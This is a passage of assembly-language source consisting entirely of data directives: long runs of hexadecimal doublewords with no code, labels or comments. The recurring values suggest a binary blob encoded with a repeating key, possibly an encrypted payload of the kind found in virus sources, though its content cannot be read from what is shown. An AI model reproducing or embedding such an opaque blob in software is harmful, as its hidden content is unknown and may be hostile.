		dd 8836AD36h, 0AAB31566h, 42176246h, 0D7B3D367h, 0E8176246h
		dd 443AFC3Eh, 0A7371566h, 567AEA1Eh, 3DBBD4E7h,	42262107h
		dd 2232048Fh, 9348CC66h, 301A0A94h, 0A071D105h,	0AF55EC91h
		dd 0A0DB0CA3h, 71CDEAB4h, 0B131D5A7h, 6CB9065h,	9C3D1372h
		dd 88321561h, 4B6D4506h, 0A153EED9h, 51DBCDBh, 0C3D1460h
		dd 44321645h, 22321A8Fh, 36892666h, 6381E920h, 0B9020A2Ch
		dd 405DC6B2h, 1132018Fh, 487B966h, 0AE602491h, 847B1D14h
		dd 0D5F0F237h, 0D9A19B26h, 0EE0C940Ch, 2D98BFCCh, 11324BE3h
		dd 3062E066h, 44321562h, 26B9D367h, 15F69442h, 7D321566h
		dd 57B2AC37h, 0E3734CA9h, 0F0F3168Fh, 54DB9464h, 0C574161Eh
		dd 0C622F197h, 0ED7C9C80h, 0B1619EDh, 2CCB11A2h, 2232756Bh
		dd 461611EFh, 9524A3Eh,	16E80E89h, 43524378h, 0A6617439h
		dd 76BA478Fh, 1F68E5EEh, 221DFC93h, 41CE1566h, 0AC369E31h
		dd 1B36D1E5h, 9561449Ah, 0D9C59546h, 69E8EEh, 0CF3D4C8Eh
		dd 22321577h, 1132198Fh, 5D495566h, 0E7EBB29Bh,	7E48CE6Ah
		dd 47F47D87h, 8CBB1566h, 43DA7542h, 0E321566h, 2FBFC359h
		dd 4C84A433h, 6DE3AF3Dh, 0A1533CECh, 51E4CDBh, 0C3D1460h
		dd 44321468h, 2B5A439Ah, 4F7F7741h, 0FD6FAA31h,	93C51FD8h
		dd 8E99E2E7h, 0EF1BAD45h, 0D6C29C39h, 0EC8F969Eh, 22340E1Eh
		dd 11149169h, 5CA1566h,	5EF5B1FBh, 98527560h, 0A8A04Bh
		dd 7AB97307h, 97CDE007h, 22389E69h, 1E521566h, 883215E7h
		dd 25C59E66h, 2DA22AE6h, 11325EE2h, 8837FC66h, 423E1566h
		dd 0A3562C5Ah, 1132118Ah, 0AC2E9C66h, 443210DDh, 79ED1466h
		dd 108BFC9Fh, 83D1566h,	44321571h, 2232078Fh, 56639366h
		dd 2E96E8A6h, 91245820h, 0C942190Ch, 71C37C77h,	88379B69h
		dd 0C5541566h, 43307195h, 1E62EDE5h, 883274E4h,	4EB21A66h
		dd 42321566h, 77FDAA69h, 0F689C7E7h, 22C7A507h,	0A76A037h
		dd 356B738Eh, 74CD11B5h, 40B9ECCCh, 0C0BB4742h,	1136D7E7h
		dd 4AB11566h, 60269262h, 223EFC3Ah, 47521566h, 1B1A754Fh
		dd 1814BD2Dh, 4298D48Bh, 0AA54DBEDh, 615361A0h,	443215C7h
		dd 22321C8Fh, 96D6F66h,	744DB674h, 70CD3BDCh, 0E6B14D42h
		dd 90547562h, 0E9EC1CBFh, 44339469h, 88CB1566h,	0AEE19506h
		dd 70B97306h, 44329A69h, 43531566h, 0F8CD6AE6h,	88519069h
		dd 0C7CA1566h, 394ABDDBh, 953D1560h, 88321542h,	443E9769h
		dd 0A93D1566h, 11321560h, 88329E69h, 0D9BF1566h, 2428D3BFh
		dd 0CFB37306h, 0BF86028Ah, 0B1E1EA07h, 2236F9E7h, 5BB1566h
		dd 0F49D42h, 4B681111h,	223209E6h, 1EDB7566h, 0AD321566h
		dd 932031B4h, 874BC1D5h, 355B3F97h, 52B3EE45h, 9C6024h
		dd 0FFB79E07h, 0F8340179h, 88321572h, 8DD33ABh,	0B2B30108h
		dd 0F1235E4h, 0C53D9221h, 3803CCA3h, 6334AF34h,	0D3B33450h
		dd 0C45F33ADh, 6D68C567h, 45E3389Eh, 2DB78C5h, 0FA321566h
		dd 0C86C2BB2h, 70C3A830h, 0E5200ECCh, 5AE7DB64h, 0FA642612h
		dd 22321562h, 19376263h, 0A5C23C48h, 6A3A1011h,	2220FC38h
		dd 0CA231566h, 421BA5AFh, 53874CD5h, 0B79B4710h, 0B7B28E8Ch
		dd 9CB91ACDh, 4B321566h, 22321BEAh, 113BFC66h, 0B5691566h
		dd 3A166B34h, 8F105B60h, 9A544606h, 9534BAEh, 4432118Ah
		dd 63E9C66h, 113215DFh,	747C9C66h, 5DBD1A3Fh, 0CB321566h
		dd 11321572h, 91BCB3BAh, 0AA9842C7h, 1579459Eh,	0D61F7916h
		dd 0B934DEBCh, 0BBC9C08Fh, 24DB7599h, 0BC321566h, 380DE3AAh
		dd 4423FDE9h, 88391566h, 0B9E0B43Ch, 95268FC1h,	5B1F41DFh
		dd 0CB5A95DBh, 1132156Ah, 41BBF7Eh, 9A446EEDh, 66A5E96Ch
		dd 0A4BB743Dh, 8E262107h, 0FB3D7506h, 8F887394h, 9054749Dh
		dd 0E9B908A9h, 446CD50Eh, 6269C66h, 1132128Fh, 131E2B66h
		dd 13D30B94h, 22B2150Eh, 1BBC1A66h, 61321566h, 44321563h
		dd 0C715A561h, 1E327FC1h, 883219E7h, 42B21A66h,	2D321566h
		dd 113215E9h, 3DCDE966h, 4226243Bh, 0EFA7EA9Ah,	0F8340160h
		dd 88321575h, 947F25A9h, 31FFCF9Fh, 0C01C8E2Eh,	0B6EFA40Fh
		dd 0BBEC9B43h, 0A3683152h, 113211A2h, 5B9ED66h,	4226108Fh
		dd 22369369h, 9A521566h, 0D96574B6h, 64667CDFh,	7BFD9C7Ch
		dd 455B14A1h, 0B11B0F46h, 51BE1A39h, 0CB321566h, 11321576h
		dd 8391AB94h, 28F8DDD5h, 5A38E789h, 0B6194E1Ch,	8836A833h
		dd 0AD331566h, 0A31639EDh, 113211A2h, 883EFC66h, 849B1566h
		dd 0E9F07969h, 0E1A0A368h, 5BBE905h, 4226108Fh,	2232138Fh
		dd 0BF546066h, 61801D83h
		dd 0BBCDD3F0h, 0EDB24506h, 1FDB4C32h, 1F321566h, 0B32712BDh
		dd 9923D8A6h, 5C94A89Bh, 0E3D7410h, 44321567h, 931FC93h
		dd 1DDB1566h, 0B6321566h, 648D9D59h, 74AD7C21h,	7188C138h
		dd 61BF9E93h, 24340163h, 2DF89E00h, 113215E8h, 0DE527466h
		dd 44329C69h, 0CA681566h, 11321577h, 377BB6E2h,	232FB75Dh
		dd 255B4AF7h, 0A21FB565h, 0A5FA944Ch, 1C3F09C8h, 26DE9407h
		dd 98321566h, 88883172h, 45321566h, 78389EACh, 0B5BF9C9Ah
		dd 0E8340E1Eh, 4BC5AA69h, 22320FE1h, 1126FD66h,	0BFB51566h
		dd 6A7E3A6Ah, 7CF47D1Ah, 0A3701E62h, 0C1D08BD1h, 256A4D5Eh
		dd 767C2DE7h, 943D5922h, 883215E4h, 4421FC9Ah, 6EF61566h
		dd 95FBB24Bh, 0D99ECEC8h, 4E308DABh, 0F09F328Eh, 69B3731Ah
		dd 871C5962h, 443248E3h, 23BF1A66h, 0E8321566h,	0AC069436h
		dd 5C768CEh, 0A11621EDh, 0E7B311A2h, 0C9C768CEh, 428F4093h
		dd 23321566h, 351E9E88h, 0E836D1E5h, 24ED9400h,	4ED49541h
		dd 0ECB79E07h, 0E8340157h, 0F33D93D7h, 48DB74B0h, 71321563h
		dd 88321F8Fh, 23E53366h, 90F028ADh, 90E2C451h, 0B0C571B7h
		dd 0CD617441h, 0A9EC9CA5h, 0D5B3317Ah, 88321562h, 442F9F69h
		dd 0A13D1566h, 11321571h, 8832078Fh, 1E85CB66h,	3132624Ah
		dd 908FB3CBh, 0ABC52BF9h, 1495AD3Ah, 0A11601EDh, 0AF5211A2h
		dd 0A66B887Ah, 44BB1A06h, 43321566h, 0D803E007h, 8832188Fh
		dd 0C68BD666h, 0F3286E09h, 9CAB155Bh, 709ED6D1h, 0C03D155Ah
		dd 223214C4h, 11239269h, 84DB1566h, 4E321566h, 0FB0FF5FDh
		dd 78148A5Fh, 0B44E942Eh, 93B61A4Bh, 2DCDEA99h,	113214E4h
		dd 0A60EE066h, 453F9169h, 0A53D1566h, 11321577h, 883BFD06h
		dd 31F11566h, 631F1B36h, 4B9DF320h, 87022907h, 44374EE4h
		dd 2EB81A66h, 1E321566h, 883213E9h, 44B51A66h, 1E321566h
		dd 9EB41A5Fh, 7DCDEA99h, 0C63D545Ah, 2232105Eh,	1E68299Ah
		dd 77CD68E0h, 443FFC99h, 0D4121566h, 4782654Dh,	8485259Fh
		dd 786C28C9h, 41B61A39h, 0F8CDEA99h, 88321569h,	0B17EF9A9h
		dd 566A25F2h, 863C8F47h, 0B4222A70h, 0BDB01A07h, 0CB321562h
		dd 1132156Ah, 0C097D337h, 7A4DC08Bh, 93D7B431h,	1E48299Fh
		dd 77CD38E0h, 4BDA7599h, 61321566h, 588B1DA4h, 0B023ED03h
		dd 78FC1E36h, 0CCB209C7h, 3DB4ABBh, 48321566h, 0C0FCB6F5h
		dd 0F4771753h, 0EA02182Dh, 517124Dh, 0EDDB74EDh, 42321562h
		dd 11309C69h, 0E9521566h, 42DBEC06h, 0CE321566h, 0EF4386C8h
		dd 0E85374F9h, 218B7306h, 2220FC1Ch, 0ABBB1566h, 0E558294Fh
		dd 3064A058h, 1F7039F1h, 3B640695h, 79B37307h, 1153D2E0h
		dd 223214DBh, 4CD81466h, 87C02C93h, 44364EE2h, 2CBA1A66h
		dd 0F8321566h, 8832156Fh, 839A672Ch, 9FA86309h,	108B440Bh
		dd 0A1321566h, 16CA4CACh, 223214DCh, 4BE31466h,	88321A8Fh
		dd 650DF866h, 0BA0E4295h, 0AC18D81Dh, 9009581Bh, 0BBCC7C8Fh
		dd 2DBA1A99h, 0F8321566h, 8832156Ch, 9CAD1EB9h,	9539227Ah
		dd 0D8B7C4E7h, 8BCC9169h, 0C53D1566h, 22321567h, 4487989Eh
		dd 6134016Ch, 44321563h, 7420E868h, 7C5AE04Dh, 1321569h
		dd 40B33172h, 0F81F3242h, 0F8B34C01h, 0EFE83841h, 0BD8D1A06h
		dd 2DDB749Fh, 0A5321566h, 0CFF91475h, 2D2B530Ch, 0F0BAC96Fh
		dd 90600CAFh, 0E6E33162h, 116D5CF4h, 0B05CC4DBh, 4CDD3C2Fh
		dd 8832138Fh, 0EC8BEC66h, 0CB675732h, 11321563h, 37547128h
		dd 0DA874418h, 0CA02A5D6h, 921619EDh, 86DB11A2h, 86321566h
		dd 0D2863420h, 72BC4593h, 0B1EE7DA4h, 4437FCA2h, 0D11A1566h
		dd 0BF6C6B4Ah, 9ADBE813h, 82321566h, 5040B12Fh,	3473BF86h
		dd 76CF97A1h, 798BC115h, 4452759Eh, 70BAEEDEh, 0DF8D4207h
		dd 0C555D52Ah, 35713381h, 49F59423h, 0CF1E7C09h, 0F2F59421h
		dd 0BF5AF00h, 0E81B4A9Fh, 9E24D4E7h, 2CC72C42h,	22321566h
		dd 9A16194Fh, 4CB3316Ah, 44321562h, 9B63E093h, 59306CFAh
		dd 0A16BDA67h, 0D8DD94A9h, 0CB7A171Fh, 11321576h, 0C577D652h
		dd 0E4E20BF5h, 526633D6h, 0FEB57245h, 88218C0Eh, 600E9C66h
		dd 0CB6C4A30h, 11321575h, 70BAC7A7h, 95A293BCh,	856A9CBDh
		dd 0D5663FECh, 87353284h, 44321EE7h, 0A3547566h, 777F7891h
		dd 0E9CCB9DDh, 2252B195h, 7034CFE7h, 1137FC06h,	10D21566h
		dd 0ADFB31B9h, 2232156Dh, 0B43C4D4Ch, 8F7F6466h, 2568FD81h
		dd 2C844707h, 99C0A235h, 8869EA19h, 0AD68EA11h,	22321575h
		dd 4D3C8472h, 0E709FF53h, 0A09D087Ch, 31CFFCC5h, 9C01B1DEh
		dd 9C3840F3h, 4434FC60h, 0A2F11566h, 19134758h,	914F90EDh
		dd 4FDB1372h, 5E321566h, 0FBB23A36h, 2C41DB3Eh,	84B7182Ah
		dd 22489069h, 71C71566h, 3F3D93D3h, 0C1F47497h,	24260F3Fh
		dd 1120FC21h, 0AC9D1566h, 210BFA7Fh, 692565CEh,	847E995Ah
		dd 55EB4C59h, 0DE95C70Eh, 2223FCB2h, 0C4E01566h, 734373A8h
		dd 0F5C7C6DCh, 0BADBD157h, 0EE1648F8h, 9C28C4D3h, 0C1BFE060h
		dd 242595BDh, 113BFC06h, 0C3EA1566h, 0E8EE18D9h, 0DEF14006h
		dd 1EE2EA07h, 883206EDh, 443CFC66h, 0FEDF1566h,	0A3A9F9EAh
		dd 0ECEFD210h, 7EF7C149h, 0A3D09C34h, 113211A4h, 8CD89466h
		dd 0C3321566h, 0AB6E3172h, 0EECB3172h, 48B7E0B6h, 44ED9069h
		dd 44521566h, 0A40CD3E7h, 75D562DCh, 0CFCA7428h, 361D80E3h
		dd 16B51A60h, 87321566h, 443214EAh, 0E2B7E966h,	11439069h
		dd 87DB1566h, 9A321566h, 4FAE2020h, 5AC00336h, 11FC0B6Fh
		dd 0C1F49835h, 24260F3Fh, 0CBB9752Ah, 15EB9400h, 0AD5A74F1h
		dd 2DEBCF7Ah, 113214E7h, 3DCDE066h, 42260FB7h, 0F9B7989Fh
		dd 0E83402E6h, 8752C599h, 443201E1h, 223DFC66h,	24311566h
		dd 382EED1h, 75712A59h,	5511CC0h, 1122FCD8h, 0E7DC1566h
		dd 0AD572571h, 3B1FC3F9h, 755200E0h, 0B53DCE6h,	50BB118Ah
		dd 0F2CDE042h, 1132078Fh, 9F45FC66h, 7823616Eh,	0AE73A654h
		dd 0CD737645h, 0DEF2326h, 5AB71AA6h, 2D321566h,	113214E9h
		dd 45DBE066h, 4B321566h, 223219E5h, 17B81A66h, 87321566h
		dd 443215E6h, 86B79C66h, 0E9340E1Eh, 884FD20Eh,	60369C66h
		dd 222B9C69h, 5DB1566h,	93321566h, 7E458317h, 0CD116DBFh
		dd 1363805h, 0E7BA1A7Ah, 24894CE7h, 0A5673CDCh,	1137FC16h
		dd 0E24E1566h, 259FB04Bh, 2200A20Eh, 35069C66h,	3BE09406h
		dd 22135CA4h, 43586BDCh, 6D7490EBh, 77CB1371h, 45BD1AB6h
		dd 0DB321566h, 943DD56Dh, 88321559h, 4421FC06h,	7BB1566h
		dd 0F39967F9h, 0B784F072h, 8170F116h, 3FFEB7BEh, 90544707h
		dd 0D66CEAB0h, 4418FC07h, 36DB1566h, 0BF321566h, 0D14469FAh
		dd 0A2842F74h, 0AF2BB7B9h, 3F90E751h, 16D241Ch,	4B2E3122h
		dd 223212EEh, 4B647566h, 0E9F5A269h, 4420FC07h,	70C31566h
		dd 0E5200ECCh, 5AE7DB64h, 0FDBF2612h, 0C2795E02h, 113BFCA5h
		dd 0F1B81566h, 4A211E25h, 42F5F308h, 1132128Fh,	0C3CD6466h
		dd 18DEAA82h, 222A9A69h, 3DA1566h, 0DC321566h, 0A086F47h
		dd 0A4840F28h, 0BDE84B02h, 0B105BFA0h, 24534C3Bh, 0EDB37306h
		dd 9A5378DCh, 934AB1EBh, 0A1B27560h, 223DFC95h,	5F021566h
		dd 6CDD9B42h, 2E7D9385h, 1190FC78h, 18DB7485h, 0DC321566h
		dd 0AE221788h, 0A74A0EAEh, 1145F50Eh, 0AC369C66h, 0ABB37306h
		dd 0A35425E6h, 70368CA5h, 8806300Eh, 603E9C66h,	2239FC3Eh
		dd 10FE1566h, 0FF040FA8h
		dd 5E6D793Ch, 0F5B3754Bh, 22CBEC81h, 0E9F7C1E6h, 440EAC37h
		dd 0E3B31566h, 7D5E6C80h, 61B3D467h, 285E6C80h,	2D6B1465h
		dd 113212EAh, 89B91A66h, 0BD321566h, 22BAA599h,	25B31566h
		dd 9D6DDD42h, 60269E5Bh, 2236D1E7h, 0E3B31566h,	0B5274AAEh
		dd 0BBD29506h, 0A79BB4DDh, 84BB7428h, 8E2601FBh, 0BC88479Fh
		dd 23321566h, 35269EB6h, 8836D1E7h, 22521566h, 0DD53EEEDh
		dd 3DB31916h, 0FA585042h, 0FC624F1Fh, 5B407F23h, 1E6AD767h
		dd 88320CEBh, 57B11A66h, 0CB321566h, 11321568h,	929D6661h
		dd 0CE2BCCBBh, 1AFBA0Ah, 84BB4F24h, 8E261F47h, 443DFC06h
		dd 5911566h, 0F232B218h, 8D712664h, 384B4883h, 26B974DBh
		dd 0F2BB4642h, 8836D6E7h, 87B11566h, 62E9262h, 65CDEC3Ah
		dd 8CB93142h, 40F69642h, 0A23D7506h, 11321566h,	3544507h
		dd 12534AA1h, 0D17080D8h, 0E7B35B2Ch, 0E2E31BA4h, 59D2F3E7h
		dd 0ECB34ADAh, 319E5396h, 0EF44E3E7h, 0B41B0111h, 27FA3C38h
		dd 25E93CE0h, 883FFC06h, 43C31566h, 0B396733Dh,	0F2B4AA98h
		dd 0E9FE620Eh, 4E13905Dh, 0A03D1372h, 11321532h, 883A9769h
		dd 0C03D1566h, 22321564h, 94097406h, 8E2601FBh,	44089669h
		dd 0CB521566h, 11321568h, 0D8E13298h, 9D4C14BAh, 0AE15C4A2h
		dd 16DA272Fh, 0A2321566h, 0E95323CAh, 0A35430FAh, 4FF419B9h
		dd 4ACE7407h, 4DDB1562h, 11321566h, 59E1CAFBh, 48D7A3BDh
		dd 48BA1A07h, 2D321566h, 113213EBh, 88B01A66h, 0B8321566h
		dd 0AD1611A1h, 0E6455771h, 31633172h, 0CC8FFD16h, 2616594Fh
		dd 6B41A3Fh, 61321566h,	44321574h, 61353CC1h, 0BB9317DFh
		dd 5CDA046Eh, 0F5B2E3Ah, 75CABBF8h, 3DBEAD36h, 0FC8D649Ah
		dd 45BC16B5h, 5EBB4DA1h, 1E6D1D42h, 883214EEh, 2C67E966h
		dd 8620E80h, 0E8F7943Bh, 49439F69h, 0A9B3138Bh,	205D7DCCh
		dd 0E46FFDEFh, 0C54B98EBh, 0CF521372h, 22BA1A9Eh, 70321566h
		dd 0E8D3EA93h, 0C5FAAA69h, 0F2FCBE81h, 71527444h, 0BE65AD00h
		dd 40DE9607h, 9B1619EFh, 11321566h, 89B8E467h, 443AFC3Fh
		dd 7BE61566h, 541F9FF6h, 610E2F51h, 45AB9169h, 0AE3D1566h
		dd 11321571h, 8832078Fh, 0DEEBA966h, 9EB11170h,	0C8AE7491h
		dd 0C963E5Ch, 78AF717Dh, 85B61A8Eh, 1E321567h, 88320DEEh
		dd 0FF547566h, 2FDBD28Fh, 0ED321566h, 0FB4A1CCBh, 8BC18C48h
		dd 2AF15C49h, 1126FC07h, 44C31566h, 62435EFCh, 562DFB7Dh
		dd 0A9F30148h, 2D99FE34h, 4B0E593Dh, 22B39169h,	5DB1566h
		dd 23321566h, 7530BC5Fh, 0A58A2991h, 4A4EFA70h,	68652A3h
		dd 0ADA29B99h, 2232156Bh, 406D9CAEh, 0D4DC1378h, 92D91AF3h
		dd 2DFF2907h, 1133BFE2h, 8EDB7566h, 0A3321566h,	8E1E7C04h
		dd 7021A436h, 88389F69h, 41DB1566h, 50321566h, 1669340h
		dd 0C3DFE5Ah, 443214DFh, 0DFB8759Ah, 3FFB9400h,	61537494h
		dd 44321563h, 0DD32267Fh, 1BBB1A66h, 0E8321566h, 44329C69h
		dd 78651566h, 40CBD607h, 883214DFh, 0F2DB9466h,	230F1B0Ch
		dd 0A7F39497h, 20F1B0Ch, 0F2524C7Fh, 0D8D7371h,	0A56274F5h
		dd 3D13596h, 80B13162h,	2223FC62h, 89B31566h, 74391BA0h
		dd 2635C7E0h, 9438AD2Fh, 9138DFD0h, 0D3D959Dh, 0BBCDEAFCh
		dd 22B51A06h, 0A4321566h, 0D864746Bh, 0F90170DEh, 6762465h
		dd 90694D62h, 35017095h, 45B71A65h, 0D7321566h,	178D4237h
		dd 1321566h, 8F334A9Fh,	0AA5AEC3Fh, 98321569h, 8A8B316Ah
		dd 45321566h, 7B2B1697h, 1132078Fh, 959E5266h, 0EBE9EAE7h
		dd 56797AF4h, 0AAD005ACh, 619D54B2h, 443215F4h,	2232138Fh
		dd 92749166h, 77C25520h, 0FF611410h, 441824E3h,	15164967h
		dd 63B34E3Dh, 221824E3h, 22321B8Fh, 994D1A66h, 0EDCD1E19h
		dd 31266778h, 0D7D3EB9Dh, 1EC9EEE5h, 8832D5E2h,	515AEC66h
		dd 0AB32154Ah, 15B33152h, 345C5642h, 0AFB34E54h, 108E7B25h
		dd 79674593h, 0FDBB0436h, 15C7943Bh, 0AB479C77h, 0E133488Eh
		dd 876A0D65h, 44321DE3h, 0AA3D7566h, 11321566h,	928A4507h
		dd 614EE866h, 3E084EE7h, 0C23E2953h, 7BFB1023h,	8733B372h
		dd 81DBE03Eh, 1ECDEA98h, 883203E1h, 4423FC66h, 0CA901566h
		dd 0C62920E9h, 0DB7B8A64h, 26F5509Bh, 2D4D04EFh, 71334BD0h
		dd 0C1539D8h, 0CC3D4275h, 22321566h, 7752743Dh,	70BA65DDh
		dd 6AD99607h, 0DC569169h, 71CAEA99h, 0A8CAAA00h, 4429FC07h
		dd 0A43D1566h, 11321567h, 894C959Eh, 3B71A98h, 0CBCDEA98h
		dd 11321563h, 0A86BEAAh, 0B898FCBAh, 0A93DEA99h, 11321579h
		dd 882B9969h, 50DB1566h, 0B2321566h, 0A3CCCF26h, 0C29DF63Dh
		dd 0C5AEBCEDh, 0F1B1BC2Eh, 4789530Ah, 4EB3F3EFh, 44321562h
		dd 2236FBE7h, 25B51566h, 0BCBB4942h, 22C77542h,	8B22F3E7h
		dd 0F1BB4507h, 88321163h, 40DA9666h, 7E1611E1h,	0F81619EFh
		dd 88321568h, 5B849085h, 0A1BEB4EAh, 0A94F6A2h,	1617C08h
		dd 40F19485h, 0A3321566h, 1132118Dh, 0AC2E9266h, 602E9C3Ah
		dd 3C807D9Fh, 2DBB1566h, 53D7542h, 4432156Ah, 2232138Eh
		dd 59D7FB66h, 0D33DE8CBh, 0ADF22407h, 22321577h, 0D0E3A359h
		dd 92FBA035h, 0B981B11h, 0C5BFDC28h, 92CBB9E8h,	84BB118Ah
		dd 0CCF39D42h, 0A63D4CADh, 11321575h, 88321B8Fh, 0F6757666h
		dd 554C62ECh, 0F74BD2F4h, 9A03C4Eh, 4432118Ah, 6269C66h
		dd 0FFB26AD0h, 48DCC541h, 0AAB21688h, 78C13573h, 1132058Fh
		dd 27B06C66h, 886A8DB5h, 25F87055h, 0DE7E6BCCh,	0F8C99568h
		dd 41429169h, 42CB1566h, 11319A69h, 3541566h, 898D73BFh
		dd 2D0E747Fh, 11DD9169h, 0B4CB1566h, 69B61A8Fh,	4232156Dh
		dd 0FA0E7493h, 87089169h, 78CB1566h, 0B9B61A85h, 0F8321565h
		dd 8832156Ah, 55A661BBh, 63FFE5BAh, 0BAC4B580h,	0C3DF75Ah
		dd 443205ADh, 678B7306h, 113FFCACh, 24C11566h, 0BF4B872Fh
		dd 0DF52D184h, 70FEF562h, 0D91629EDh, 85B3F4EFh, 22321562h
		dd 9636D4E5h, 746E316Ah, 141609EDh, 2637F5EFh, 14321566h
		dd 88321562h, 181611E1h, 26B01A06h, 77321566h, 61D8BDDDh
		dd 44321574h, 0EC9D52D0h, 0A745273Eh, 6D13EC7Fh, 0A9B84557h
		dd 0A9532669h, 9865316Ah, 8CF59481h, 0C7321566h, 1EB511A1h
		dd 9ACA4942h, 1643152h,	40F49480h, 0A3321566h, 113211A0h
		dd 0AC069266h, 443FFC3Ah, 0A291566h, 0D773B862h, 4988E4F3h
		dd 87963580h, 2239FD06h, 7B021566h, 436C22FFh, 9B3082BCh
		dd 34E994C8h, 4A58E92Eh, 0FCB7D207h, 42340E1Fh,	2D321566h
		dd 11321DE8h, 8AB11A66h, 24321566h, 22884707h, 90321566h
		dd 0B921C3A4h, 0C5C01459h, 1321C38Ch, 4B289F59h, 8832138Fh
		dd 0EBD5C166h, 4234A008h, 11369669h, 33541566h,	2253D506h
		dd 2C2A037h, 1DB9738Dh,	8AF69442h, 0AD321566h, 22321576h
		dd 649750CDh, 0A4F92D44h, 8B3111F0h, 0DC9AC659h, 1EB2EEE6h
		dd 77CCFEE3h, 443DFC99h, 57671566h, 0F6FF7334h,	9FF92428h
		dd 0BFA1CD5Ah, 0DD8F400Ah, 10CDEA99h, 9ADB4888h, 37321566h
		dd 2A488AFBh, 0C00931A7h, 36C67B8Ah, 2271EB2Bh,	0D7B79E7Ah
		dd 0ED340162h, 9B9380EDh, 12CB1372h, 0A11609EDh, 0F85211A2h
		dd 8832156Dh, 0DA6708BEh, 3AA9F756h, 0EDDAB338h, 8E8C4307h
		dd 45321566h, 6069E95h,	1136D1E7h, 73D1566h, 44321573h
		dd 2232058Fh, 0AFFE4066h, 403E57B3h, 2415507Bh,	0EB865D60h
		dd 0A863ED1Dh, 88321564h
		dd 3525FCE7h, 0D3336D5Bh, 6025D4E7h, 91316D5Bh,	54B41A3Fh
		dd 42321566h, 1132138Fh, 0D6537C66h, 4B6BDAABh,	1953D3D1h
		dd 48B01ABEh, 87321566h, 443236EAh, 2EDB7566h, 0E5321566h
		dd 0DD400C17h, 5D277C3Bh, 0CB10CB78h, 1132156Dh, 0A4FED68Bh
		dd 95C5B9C7h, 431A9676h, 1132068Fh, 0D5135466h,	947827BBh
		dd 0FA6E565Ah, 0BFE572D5h, 0ABAB9A2h, 0C23DCF5Dh, 0DDCDE882h
		dd 11321F8Fh, 913A3766h, 867DFB2Dh, 0D715547Ah,	6E71AB30h
		dd 7B333F99h, 0C5C93C38h, 0DD4D568Dh, 1134FC4Ch, 9821566h
		dd 88248772h, 0AB36F9E5h, 178F314Ah, 0A1321566h, 41DB488Dh
		dd 0B8321566h, 0C5D9D081h, 7D52B800h, 2253F6D2h, 0FA03ECCDh
		dd 0C903D657h, 8832068Fh, 0FCF5FE66h, 0E4C4D08Eh, 3A89222Ah
		dd 0F4891F21h, 15C44301h, 223FFCCDh, 1CAC1566h,	9F6A8CA3h
		dd 57764005h, 7375E6F7h, 113211DFh, 4FDC9466h, 4543A238h
		dd 0E5F494A8h, 4843A238h, 88359069h, 0CA3D1566h, 22321567h
		dd 350E9C9Fh, 8832108Fh, 0CA08AF66h, 56BB95C3h,	98C71942h
		dd 9C13A0D3h, 43B41A60h, 42321566h, 0AE3D23D4h,	0B4B974BCh
		dd 0A6BB4742h, 2236D7E7h, 0D3B11566h, 0AC269262h, 0BBCBE03Ah
		dd 0A1693152h, 425211A2h, 0D7C3A269h, 818A7306h, 43537568h
		dd 353E9E07h, 9D79C33h,	443211A3h, 26F79666h, 4D1639E1h
		dd 88321F8Fh, 0B8E51066h, 0BAD01234h, 9A15E017h, 1653152h
		dd 40F59481h, 0A3321566h, 113211A1h, 0AC0E9266h, 0CD64ED3Ah
		dd 26F49480h, 92321566h, 0BC0111A0h, 60062442h,	7E162155h
		dd 0CEEAFC9Eh, 0EE52EA99h, 0D01FD5E7h, 0A7F57493h, 17296C12h
		dd 88321564h, 0B4BB459Fh, 0DB6A4E36h, 0E93CA369h, 87B2ECE6h
		dd 44324EE5h, 223EFC66h, 0A0901566h, 9512E026h,	0E8BBB20Bh
		dd 9C647779h, 9063AFh, 896CE667h, 8DD994ADh, 0DE23B710h
		dd 0EECDAB30h, 7B1BEA99h, 59B01A38h, 2D321566h,	113202E0h
		dd 8820FC66h, 4FB01566h, 0DD906876h, 0D4ECDE14h, 0CB8FDD4Ah
		dd 3EBBE849h, 2232988Fh, 9152EC66h, 0E9CB08A4h,	0E7834435h
		dd 0D43AFCA6h, 91EBE3BFh, 47BACB97h, 0C4E5E33Fh, 0C5F283A1h
		dd 0EF59563h, 0E869EC4Eh, 4432108Fh, 0BDB73766h, 0AE546AF4h
		dd 7F53C518h, 45F396B7h, 22321F8Fh, 0DA723266h,	9EA37972h
		dd 2C4AE567h, 223236BCh, 0AB1601EFh, 88321599h,	0B168C447h
		dd 22339B69h, 41CB1566h, 3B7E44DEh, 4CD2D411h, 25D2D42Eh
		dd 5934F5A7h, 0C5407E63h, 1CF13CA3h, 0E1B3DE4Fh, 5E5F470Ch
		dd 8832108Fh, 0B1942066h, 0A7B99AD0h, 17261193h, 29A79E93h
		dd 0BC340175h, 4407A506h, 7007C5D8h, 922FA8E5h,	4B331372h
		dd 223680E2h, 1EDBED66h, 57321566h, 49FC860h, 0FF2FC577h
		dd 62294414h, 4B0B1285h, 404A9769h, 0A23D1566h,	11321572h
		dd 88321A8Fh, 0ABF25C66h, 8F292EA0h, 0F8F9B698h, 14A9A93h
		dd 0C63DC65Fh, 0DDCDEE52h, 17B51A06h, 87321566h, 443215EAh
		dd 223EFC66h, 0F6A01566h, 0ABCC382Bh, 9D178E73h, 0CB53F7B7h
		dd 11321154h, 8838FD06h, 320E1566h, 636D2C7Fh, 0A6C9D9E6h
		dd 7F46C3E7h, 0CF697A6Fh, 0A7F5749Dh, 17296C12h, 88321564h
		dd 44259C69h, 0AC3D1566h, 11321577h, 8832198Fh,	0E2A95566h
		dd 0B0EC1B25h, 668A990Eh, 8EDB757Ah, 8B321566h,	758A796Bh
		dd 6AE4950Dh, 94B94307h, 40F69642h, 22359B69h, 933D1566h
		dd 88321567h, 43BF1A9Fh, 2D321566h, 113214E7h, 3E3DE966h
		dd 0BDB2ED68h, 4FB11AE6h, 0ED321566h, 0A44FD6E7h, 87B3448Fh
		dd 69D69CBh, 0FAB3DE67h, 0AC9D69CBh, 684FFEE7h,	25DB448Fh
		dd 89321566h, 522FB297h, 0C561094Fh, 0DDCD314Ah, 0F869EA99h
		dd 88321572h, 0C208178Eh, 0F47EA296h, 0B3CB22Ah, 0E659B890h
		dd 0F8454D9Fh, 2232B28Fh, 0C8B87566h, 88321C8Fh, 7EDC6966h
		dd 0BC776F7Ch, 71530206h, 0B7A7B8DCh, 4BE2947Ch, 434153E4h
		dd 91CAA136h, 64B2C8AAh, 0FCDB9598h, 0E3B2F44Eh, 963D4DDEh
		dd 8832156Eh, 44BA1A06h, 43321566h, 0C4C5FCE1h,	0E873FCE1h
		dd 25E2CFE6h, 22CDAB30h, 0E0131566h, 0B1621EDh,	0CF3D11A2h
